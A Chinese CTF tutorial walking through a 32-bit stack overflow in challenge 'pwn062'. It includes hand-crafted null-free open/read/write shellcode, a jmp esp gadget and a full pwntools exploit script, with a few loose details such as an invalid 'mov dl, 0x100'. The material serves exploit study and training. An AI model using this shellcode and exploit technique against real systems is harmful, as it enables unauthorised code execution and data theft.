1. 项目概述与核心挑战
拿到这道题,第一眼看到“受限缓冲区”和“极简 Shellcode”这两个关键词,就知道这又是一道考验基本功和思维灵活性的经典栈溢出题目。这类题目在CTF的Pwn入门系列中非常常见,它不追求复杂的漏洞链构造,而是聚焦于最本质的问题:当你能写入的缓冲区空间非常有限,甚至存在字符过滤时,如何巧妙地塞入并执行一段能获取Shell的代码。这道pwn 062正是这类问题的典型代表,它模拟了一个非常真实的场景——程序可能只给你预留了十几个字节的溢出空间,传统的、动辄几十字节的execve(“/bin/sh”)Shellcode 根本放不下。这时候,就需要我们化身“代码微雕师”,在方寸之间施展拳脚。
这道题的核心价值在于,它强迫你深入理解Shellcode的本质,而不仅仅是会调用现成的工具生成。你需要明白每一条汇编指令对应什么机器码,这些机器码在作为字符串输入时,是否会因为程序本身的过滤逻辑(比如不能出现\x00空字符,或者必须是可见字符)而失效。同时,你还需要精确计算栈的布局,因为空间实在太宝贵了,多一个字节的偏差都可能导致覆盖不到返回地址,或者破坏了后续栈帧结构导致崩溃。解决这类问题的过程,是对栈溢出利用技术从“会用”到“懂原理”的一次重要跨越。无论是刚接触二进制安全的新手,还是想巩固基础的老手,通过这道题的实战,都能对栈上Shellcode注入的细节有更肌肉记忆般的理解。
2. 环境准备与题目初步分析
2.1 实验环境搭建
工欲善其事,必先利其器。分析Pwn题,一个稳定、高效的Linux环境是基础。我个人习惯使用 Ubuntu 20.04/22.04 LTS 版本,系统纯净,软件包丰富。以下是一些核心工具的安装命令,建议在干净的虚拟机或容器中操作:
# 更新系统并安装基础编译环境和调试工具 sudo apt update && sudo apt upgrade -y sudo apt install -y gcc gdb gdb-multiarch python3 python3-pip git make # 安装pwntools,这是我们的主力攻击框架 pip3 install pwntools # 安装用于检查二进制文件信息的工具 sudo apt install -y file binutils # 安装增强的GDB插件,如peda、gef或pwndbg,这里以gef为例 # 首先安装依赖 sudo apt install -y cmake # 通过一键脚本安装gef (建议在用户目录下执行) bash -c "$(curl -fsSL https://gef.blah.cat/sh)" # 将source ~/.gdbinit-gef.py 添加到你的 ~/.gdbinit 文件中安装完成后,可以通过checksec命令(pwntools提供)和file命令来快速了解目标程序的安全属性和基本信息,这是分析的第一步。
2.2. 题目信息收集与静态分析
假设我们拿到的题目文件名为pwn062。第一步永远是信息收集。
file pwn062 # 查看文件类型,通常是ELF可执行文件 checksec pwn062 # 检查程序开启的安全保护机制checksec的结果至关重要。对于这道“栈溢出”基础题,我们预期看到的大概率是:
Arch: i386-32-little或amd64-64-little:告诉我们程序是32位还是64位,这直接影响寄存器、函数调用约定和地址长度。RELRO: Partial RELRO:通常对于入门题,RELRO保护级别不会太高。Stack: No canary found:这是关键!没有栈金丝雀(Canary)意味着我们可以直接溢出覆盖返回地址,而不需要先泄露或绕过Canary。NX: NX disabled:这是另一个关键!NX(不可执行)保护被禁用。这意味着栈上的数据(即我们注入的Shellcode)可以被当作指令来执行。如果NX开启,我们就需要转向ROP等不需要执行栈上代码的技术。PIE: PIE disabled:PIE(地址空间布局随机化)被禁用。这意味着程序的加载基地址是固定的,我们可以在静态分析时直接使用像0x8048000这样的硬编码地址,而不需要先泄露地址。
注意:实际做题时,一定要先确认这些保护机制。如果题目开启了NX,那么本题目“Shellcode注入”的前提就不成立,解题思路将完全不同。本题的设定是基于NX关闭的。
接下来,使用反汇编工具进行静态分析。objdump是系统自带的利器:
objdump -d pwn062 -M intel > disassembly.txt # 反汇编并保存,-M intel 指定Intel语法(个人偏好)或者使用radare2、Ghidra、IDA Pro等更强大的图形化/交互式工具。我们的目标是找到那个存在溢出漏洞的函数。通常,在main函数中会调用一个危险的函数,比如gets、scanf(“%s”)、strcpy等。
通过快速浏览反汇编代码或使用rabin2 -zz pwn062查找字符串,我们可能会发现程序使用了read、fgets等函数,但关键在于其读取的长度是否大于目标缓冲区的长度。题目描述中的“受限缓冲区”暗示了缓冲区大小可能很小,比如只有16或32字节。
假设我们通过分析,找到了一个类似如下的脆弱函数vulnerable_function:
push ebp mov ebp, esp sub esp, 0x20 ; 在栈上开辟了0x20(32)字节的空间 lea eax, [ebp-0x10] ; 将缓冲区地址(ebp-0x10)加载到eax,缓冲区大小可能只有16字节 push eax call gets ; 使用不安全的gets函数,可以读取任意长度,直到换行符或EOF add esp, 4 leave ret这里就存在一个典型的栈溢出:gets向ebp-0x10(16字节缓冲区)写入数据,但不会检查长度。如果我们输入超过16字节的数据,就会覆盖栈上ebp保存的帧指针和函数的返回地址。
2.3. 动态调试与栈布局确认
静态分析给出了怀疑,动态调试则是验证和精确测量的过程。使用gdb启动程序:
gdb -q ./pwn062在gdb中,我们可以在vulnerable_function的gets调用前后设置断点。
(gdb) break *vulnerable_function+25 # 假设call gets指令的地址 (gdb) break *vulnerable_function+30 # gets返回后的地址 (gdb) run当程序在第一个断点停下时,我们可以查看栈布局:
(gdb) x/20wx $esp这条命令会显示从当前栈顶开始的20个32位字(word)的内存内容。我们需要找到:
- 我们输入的缓冲区的起始地址(比如
0xffffd580)。 - 保存的
ebp的地址(通常在缓冲区上方)。 - 返回地址的位置(在保存的
ebp上方4字节处,32位程序)。
一个典型的栈帧布局如下(从高地址到低地址生长):
高地址 ... 其他栈帧 ... 返回地址 (Return Address) <- 我们要覆盖的目标 保存的ebp (Saved EBP) <- 溢出时也会被覆盖 局部变量2 局部变量1 (缓冲区 char buf[16]) <- 我们输入的起点 ... 可能还有其他局部变量 ... 低地址通过计算返回地址的地址 - 缓冲区的起始地址,我们就能得到精确的偏移量(Offset)。这个偏移量告诉我们,在输入多少个字节后,接下来的4个字节(32位)就会覆盖到返回地址。
实操心得:在gdb中,你可以使用
pattern create和pattern offset来自动化这个过程。pwntools也提供了cyclic()和cyclic_find()函数,这是更常用的方法。先生成一段唯一的长字符串作为输入,程序崩溃后查看覆盖返回地址的值,再用工具反查这个值在字符串中的位置,就得到了偏移量。这是Pwn手的必备技能。
3. 核心原理:Shellcode的精简与构造
3.1. Shellcode的本质与约束
Shellcode本质上是一段独立的、位置无关的机器码。当程序的控制流(比如返回地址)被劫持到这段代码的起始地址时,CPU就会开始执行它。在栈溢出中,我们通常将Shellcode放在缓冲区内,然后将返回地址覆盖为缓冲区的起始地址。
然而,题目中的“受限”二字带来了多重约束:
- 空间限制:缓冲区本身很小,可能只有16-32字节。传统的
/bin/shShellcode(通过系统调用执行execve(“/bin/sh”, 0, 0))在32位环境下通常需要40-50字节,显然放不下。 - 字符过滤:程序可能在读入数据后,会对输入内容进行过滤。常见的过滤包括:
- 截断空字符 (
\x00):\x00在C语言中表示字符串结束。如果程序使用strcpy、strcat或printf(“%s”)等函数处理我们的输入,\x00之后的 payload 会被截断而失效。因此,Shellcode 本身不能包含\x00字节。 - 只允许可见字符 (Printable/ASCII):有些题目会检查输入是否全部在可打印ASCII字符范围内(0x20-0x7e)。这要求我们构造的Shellcode的每一个字节都必须对应一个可打印字符,这被称为“字母数字Shellcode (Alphanumeric Shellcode)”或“可见字符Shellcode”,构造难度极大。
- 过滤特定指令:例如,过滤
int 0x80(系统调用中断)或syscall指令的机器码。
- 截断空字符 (
本题pwn 062根据标题和常见套路,核心约束很可能是空间限制和空字符截断。我们的任务就是构造一段极短且不含\x00的Shellcode。
3.2. 极简Shellcode构造思路
当空间是首要敌人时,我们的目标不再是启动一个完整的交互式shell(/bin/sh),而是执行一个能让我们“读到flag”的最小化操作。在CTF中,这通常意味着:
- 执行
execve(“/bin/sh”):最通用,但代码较长。 - 执行
execve(“/bin/cat”, [“cat”, “flag”], NULL):如果知道flag文件名,直接cat出来,代码可能比启动shell更短。 - 使用
open+read+write(ORW):当不能执行外部程序,或者flag文件名未知需要遍历时,就用系统调用打开文件、读取内容、写到标准输出。这是更底层、更灵活的方式。
对于极简场景,我们优先考虑第2种或第3种。因为execve系统调用需要设置多个参数(文件名指针、参数数组指针、环境变量指针),而open/read/write可以逐个调用,每一步的代码可以更紧凑。
假设我们知道flag文件就是当前目录下的flag。我们来对比一下思路:
思路A:Cat Flag
- 目标:执行
execve(“/bin/cat”, [“cat”, “flag”], NULL)。 - 挑战:需要构造字符串
”/bin/cat”和”flag”,并设置好参数数组,代码量依然可观。
- 目标:执行
思路B:ORW链
- 目标:依次执行
open(“flag”, O_RDONLY)->read(fd, buf, size)->write(1, buf, size)。 - 优势:每一步只需要处理少数几个参数,可以利用寄存器传递,代码可以写得非常精简。特别是,我们可以将字符串
”flag”巧妙地通过栈操作(如push)来构造,避免在Shellcode中直接包含字符串常量(那样会引入很多字节)。
- 目标:依次执行
对于本题,我们选择思路B:ORW链,因为它最具代表性,且能压缩到极小的体积。下面我们来手搓一段32位Linux下的极简ORW Shellcode。
3.3. 手搓不含空字节的ORW Shellcode
我们使用汇编来编写,并确保生成的机器码没有\x00。首先,回顾一下32位Linux系统调用约定:系统调用号放在eax,参数依次放在ebx,ecx,edx,esi,edi。
打开文件
open(“flag”, O_RDONLY)- 系统调用号:
open是5。 - 参数1 (
ebx):文件名字符串地址。我们需要把字符串”flag”压入栈,然后将栈指针esp赋给ebx。 - 参数2 (
ecx):打开标志,O_RDONLY是0。 - 参数3 (
edx):模式,通常忽略,设为0。 - 难点:如何在不引入
\x00的情况下将”flag”入栈?字符串”flag”的十六进制是0x67616c66。如果直接push 0x67616c66,指令是\x68\x66\x6c\x61\x67,这本身不含\x00。但是,字符串需要以空字符结尾。我们可以通过先将eax清零(xor eax, eax),然后push eax(压入4字节的0),再压入字符串。清零操作xor eax, eax的机器码是\x31\xc0,也不含\x00。
- 系统调用号:
读取文件
read(fd, buf, size)- 系统调用号:
read是3。 - 参数1 (
ebx):文件描述符fd。open成功后会返回fd在eax中,我们需要将其保存到ebx。 - 参数2 (
ecx):缓冲区地址。我们可以选择一个固定的、可写的地址,比如0x804a000(如果.bss段可写且地址已知),或者更通用地,直接使用栈上的一个地址(比如esp指向的某个位置)。使用栈地址需要小心计算,避免破坏正在执行的Shellcode。 - 参数3 (
edx):要读取的字节数,比如0x100(256字节)。
- 系统调用号:
写入标准输出
write(1, buf, size)- 系统调用号:
write是4。 - 参数1 (
ebx):文件描述符,1 表示标准输出。 - 参数2 (
ecx):缓冲区地址(同read的ecx)。 - 参数3 (
edx):写入的字节数(同read的edx)。
- 系统调用号:
下面是一段精心构造的、不含\x00的32位ORW Shellcode示例。我们假设将flag内容读到一个固定的.bss段地址0x804a000,以简化栈操作:
; 假设 .bss 段地址 0x804a000 可写 ; 这段Shellcode的目标是:open(“flag”)->read(fd, 0x804a000, 0x100)->write(1, 0x804a000, 0x100) section .text global _start _start: ; 1. open(“flag”, O_RDONLY) xor eax, eax ; eax = 0 push eax ; 字符串结尾的 \x00 push 0x67616c66 ; 压入 “flag” 字符串的十六进制表示 (小端序: ‘f’, ‘l’, ‘a’, ‘g’) mov ebx, esp ; ebx 指向栈上的字符串 “flag\x00” xor ecx, ecx ; ecx = 0 (O_RDONLY) xor edx, edx ; edx = 0 (mode) mov al, 5 ; syscall number for open (5). 使用 al 避免高位引入00 int 0x80 ; 触发系统调用,返回值(fd)在 eax ; 2. read(fd, buf, 0x100) mov ebx, eax ; 将 open 返回的 fd 保存到 ebx mov ecx, 0x804a000 ; 目标缓冲区地址 (假设已知且可写) mov dl, 0x100 ; 读取长度 0x100,使用 dl 避免高位引入00 xor eax, eax ; eax = 0 mov al, 3 ; syscall number for read (3) int 0x80 ; 3. write(1, buf, 0x100) mov ebx, 1 ; 文件描述符 1 (stdout) ; ecx 仍然是缓冲区地址 0x804a000 ; edx 仍然是长度 0x100 mov al, 4 ; syscall number for write (4) int 0x80 ; 4. 退出 (可选,避免崩溃) xor eax, eax mov al, 1 ; syscall number for exit (1) xor ebx, ebx ; exit code 0 int 0x80使用nasm汇编并提取机器码:
nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode -M intel从objdump的输出中,复制_start段下的机器码(类似\x31\xc0\x50\x68\x66\x6c\x61\x67...)。关键一步:检查这段机器码中是否包含\x00字节。可以使用xxd或hexdump:
objcopy -O binary -j .text shellcode.o shellcode.bin hexdump -C shellcode.bin如果发现00,就需要调整汇编指令。例如,mov eax, 5的机器码是\xb8\x05\x00\x00\x00,包含了三个\x00。所以我们改用mov al, 5(\xb0\x05),只设置低8位,高位由之前的xor eax, eax保证为0。同理,设置edx为0x100时,使用mov dl, 0x100可能会因为0x100超过8位而编译成包含\x00的指令,更安全的做法是分步操作,或者使用mov dx, 0x100(注意机器码是否含00)。
经过反复调整和测试,最终我们可以得到一段长度可能在30-40字节左右、不含\x00的纯机器码。这就能满足“受限缓冲区”的要求。
注意事项:在实际解题中,
.bss段的地址0x804a000需要根据实际二进制文件确定。如果题目没有合适的固定可写地址,我们就需要将内容读到栈上。这时,计算栈地址的偏移会变得棘手,因为栈地址在每次运行时可能因环境变量等因素略有变化(ASLR关闭时主线程栈基址固定,但偏移仍需精确计算)。一个更稳健的方法是使用jmp esp或call esp等指令(如果程序存在这样的gadget),将执行流跳到栈上,然后Shellcode的第一条指令再调整栈指针,为读入的数据预留空间。这涉及更高级的栈迁移(Stack Pivot)技术,在本基础题中可能不是必须的。
4. 完整利用链构建与Exploit编写
4.1. 计算精确偏移与确定返回地址
有了Shellcode,我们还需要知道把它放在哪里,以及把返回地址覆盖成什么。这需要精确的偏移量。
使用pwntools的cyclic功能可以自动化这个过程:
from pwn import * context(arch=‘i386‘, os=‘linux‘) # 根据题目设置上下文 p = process(‘./pwn062‘) # 本地测试 # 发送一个长字符串,覆盖返回地址 payload = cyclic(200) # 生成200个字符的pattern p.sendline(payload) p.wait() # 等待程序崩溃 # 从core dump中获取崩溃时eip的值 core = p.corefile eip_value = core.eip offset = cyclic_find(eip_value) # 查找该值在pattern中的位置 log.info(f“Offset to EIP: {offset}“)假设我们得到的偏移量是24。这意味着,在我们输入的数据中,前24个字节会填满缓冲区并覆盖到保存的ebp,第25-28个字节(接下来的4字节)就会覆盖到返回地址。
接下来,我们需要决定Shellcode的放置位置和返回地址的值。
- 方案A:Shellcode在缓冲区开头,返回地址指向缓冲区开头。
- Payload结构:
[Shellcode (N字节)] + [‘A‘ * (offset - N)] + [buf_addr] - 其中
buf_addr是缓冲区起始地址。我们需要在调试中获取这个地址,例如0xffffd580。由于PIE未开启,这个地址在本地运行和远程连接时通常是固定的(除非远程有ASLR,但Pwn题服务器常关闭ASLR)。如果地址不确定,可能需要暴力猜测或信息泄露。
- Payload结构:
- 方案B:Shellcode在缓冲区之后,返回地址指向一个
jmp esp指令地址。- 这种方案适用于缓冲区空间实在太小,连极简Shellcode都放不下的情况。我们可以在覆盖返回地址后,在更高的栈地址(即返回地址之后)布置Shellcode。然后让返回地址指向一条
jmp esp或call esp的指令(在程序或libc中寻找)。当函数返回时,会跳转到jmp esp,这条指令接着跳转到esp当前指向的地址,而esp此时正好指向返回地址之后的位置,也就是我们后续Shellcode的起始处。这需要程序中有这样的gadget。
- 这种方案适用于缓冲区空间实在太小,连极简Shellcode都放不下的情况。我们可以在覆盖返回地址后,在更高的栈地址(即返回地址之后)布置Shellcode。然后让返回地址指向一条
对于本题,假设缓冲区有32字节,我们的Shellcode经优化后为36字节,刚好比缓冲区大一点。我们可以采用方案B,或者利用nop sled(\x90指令,无操作)填充缓冲区,将Shellcode放在偏移量之后,但这样需要更大的空间。更常见的做法是,既然缓冲区“受限”,我们就将Shellcode全部放在偏移量之后,即填充完偏移量后,紧接着就是Shellcode,然后让返回地址指向一个jmp espgadget。这样,Shellcode本身不占用缓冲区的“名额”。
4.2. 寻找JMP ESP Gadget
我们可以使用ROPgadget或objdump配合grep在二进制文件中搜索:
ROPgadget --binary ./pwn062 | grep “jmp esp“ # 或者 objdump -d ./pwn062 | grep “ff e4“ # “jmp esp“ 的机器码是 ff e4如果程序本身没有,我们还可以在加载的libc库中找。但前提是libc的基地址需要泄露,这增加了复杂度。假设我们在程序中找到了jmp esp的地址:0x0804842a。
4.3. 编写完整的Exploit脚本
结合以上所有信息,我们可以编写最终的利用脚本。这里我们采用Shellcode放在返回地址之后,用JMP ESP跳转的方案。
#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和运行方式 context(arch=‘i386‘, os=‘linux‘) # context.log_level = ‘debug‘ # 调试时开启,显示详细通信 # 启动程序 # p = process(‘./pwn062‘) # 本地测试 p = remote(‘pwn.challenge.ctf.show‘, 12345) # 远程连接,端口需替换 # 1. 计算出的偏移量 offset = 24 # 2. 精心构造的不含 \x00 的 ORW Shellcode (示例,需根据实际调整) # 这个Shellcode假设 flag 字符串在栈上构造,并读到栈上某个位置然后写出。 # 实际构造可能需要根据题目环境调整地址。 shellcode = asm(‘‘‘ /* open(“flag“, O_RDONLY) */ xor eax, eax push eax /* 字符串终止符 \x00 */ push 0x67616c66 /* “flag“ */ mov ebx, esp /* ebx 指向 “flag\x00“ */ xor ecx, ecx /* O_RDONLY = 0 */ xor edx, edx /* mode = 0 */ mov al, 5 /* SYS_open */ int 0x80 /* read(fd, buf, 0x100) */ mov ebx, eax /* fd from open */ mov ecx, esp /* 读到哪里?我们可以利用栈上方空间。这里假设 esp+0x200 是安全区域 */ add ecx, 0x200 /* 调整 ecx 到一个更高的栈地址,避免覆盖自身 */ mov dl, 0xff /* 读取长度,0xff 足够大且不含00 */ xor eax, eax mov al, 3 /* SYS_read */ int 0x80 /* write(1, buf, len) */ mov ebx, 1 /* stdout */ /* ecx 已经是缓冲区地址 */ /* edx 已经是读取的字节数 (read返回值在eax,但这里我们假设成功读取了0xff字节,简化处理) */ mov dl, 0xff /* 写入长度,同样用 0xff */ mov al, 4 /* SYS_write */ int 0x80 /* exit(0) */ xor eax, eax mov al, 1 xor ebx, ebx int 0x80 ‘‘‘) # 检查Shellcode长度和是否含坏字符 print(f“Shellcode length: {len(shellcode)}“) if b‘\x00‘ in shellcode: print(“WARNING: Shellcode contains null bytes!“) print(hexdump(shellcode)) # 3. 找到的 jmp esp gadget 地址 jmp_esp_addr = 0x0804842a # 示例地址,需替换为实际找到的地址 # 4. 构建Payload # 第一部分:填充到返回地址 payload = b‘A‘ * offset # 第二部分:覆盖返回地址为 jmp_esp_addr payload += p32(jmp_esp_addr) # 第三部分:在返回地址之后,放置我们的Shellcode payload += shellcode # 5. 发送Payload p.sendline(payload) # 6. 接收并打印输出 (期望看到flag内容) # 注意:如果程序是交互式的,可能需要 p.interactive() print(p.recvall().decode()) p.close()4.4. 利用脚本的测试与调试
在本地测试时,可以先创建一个名为flag的测试文件。
echo “CTFshow{test_flag}“ > flag然后运行脚本。如果程序崩溃或没有输出预期内容,就需要调试。
使用GDB附加调试:
gdb -q ./pwn062 (gdb) run < <(python3 exploit.py)或者在脚本中
process()时加上gdbscript参数,让pwntools自动附加gdb并下断点。查看崩溃点:如果崩溃在
jmp esp之后,可能是Shellcode本身有问题,或者栈地址计算不准。可以在jmp esp处下断点,单步跟踪,观察寄存器和栈的状态。调整Shellcode:最可能的问题是Shellcode中的地址假设不成立。例如,
add ecx, 0x200可能加得不够多,导致读操作覆盖了正在执行的Shellcode。或者,栈的布局与预期不符。这时需要动态调试,观察esp的值,并相应调整Shellcode中的偏移。
实操心得:在构造这种紧耦合栈布局的Shellcode时,一个技巧是在Shellcode开头插入大量的
nop指令 (\x90),形成一个“滑板”。这样,只要返回地址跳转到这个滑板区的任何位置,都会滑行到真正的Shellcode代码。这可以降低对跳转地址精确度的要求。但要注意,nop指令\x90在某些字符过滤题中可能不被允许。
5. 常见问题与高级技巧
5.1. Shellcode执行失败的可能原因
- 地址错误:返回地址或
jmp espgadget地址不正确。确保使用正确的地址,并注意小端序。在远程环境中,地址可能与本地不同,需要根据提示或通过信息泄露获取。 - 坏字符问题:除了
\x00,程序可能还过滤了其他字符,如\x0a(换行)、\x0d(回车)、\x20(空格)等。如果发送的Payload中包含这些字符,输入可能会被提前截断或修改。需要用其他指令替代产生坏字符的机器码。 - 栈不可执行 (NX Enabled):这是最容易被忽略的一点。如果题目实际开启了NX,我们的所有努力都将白费。务必反复确认
checksec结果。如果NX开启,则需要转向ROP技术,利用程序本身的代码片段 (gadgets) 来拼接出open/read/write的系统调用链。 - 地址空间随机化 (ASLR):如果远程服务器开启了ASLR,栈地址和libc地址每次都会变。对于栈地址,如果缓冲区在栈上,我们需要通过信息泄露来获取一个实时的栈地址。对于libc中的gadget,需要先泄露libc的基地址。
- Shellcode自身错误:汇编指令写错、系统调用号不对、参数传递错误。务必在本地用
strace跟踪系统调用,或在gdb中单步执行Shellcode,观察每个系统调用前后的寄存器状态。
5.2. 应对更严格的字符过滤
如果题目要求Shellcode全部由可见字符组成,构造难度会指数级上升。这时需要用到“编码器(Encoder)”技术。基本思路是:
- 写一段符合可见字符约束的“解码器(Decoder)”。这段代码本身也是Shellcode,它的功能是从某个位置(可能是栈上另一个区域)读取被编码的、原始的非可见字符Shellcode,然后解码并执行。
- 原始的、功能强大的Shellcode(通常包含不可见字符)被编码成一段纯可见字符的字符串。
- Payload结构为:
[可见字符解码器] + [填充] + [返回地址指向解码器] + [编码后的Shellcode]。 - 解码器执行后,会还原并跳转到原始Shellcode。
常用的编码方式有xor编码、add/sub编码等。alpha3或msfvenom的-e x86/alpha_mixed编码器可以自动生成这类Shellcode,但理解其原理对于解决变种题目至关重要。
5.3. 利用文件描述符重用
在ORW链中,我们默认open返回的文件描述符是3(因为0,1,2通常被stdin, stdout, stderr占用)。但在某些极端情况下,程序可能之前已经打开或关闭了一些文件,导致fd不是3。更稳健的做法是,将open返回的fd保存到一个寄存器后,直接传递给read,就像我们示例中做的 (mov ebx, eax),而不是硬编码一个fd值。
5.4. 获取Shell与稳定交互
本题要求是“读flag”,所以ORW输出到标准输出即可。但如果目标是获取一个完整的shell,在空间极度受限的情况下,可以尝试用dup2系统调用将socket的文件描述符复制到0,1,2,然后执行execve(“/bin/sh”)。或者,可以分阶段注入:第一段极简Shellcode用于读入第二段更长的、功能完整的Shellcode到可执行内存区域,然后跳转执行。这被称为“二阶攻击”。
最后,在真实的CTF比赛或渗透测试中,成功执行Shellcode后,我们往往希望获得一个稳定的反向shell或交互式shell。使用pwntools的p.interactive()可以很好地与本地进程交互,但对于远程,如果只是执行了cat flag,接收输出即可。如果执行了/bin/sh,则需要用p.sendline()发送命令,用p.recv()接收结果,或者直接使用p.interactive()进入一个类终端的环境。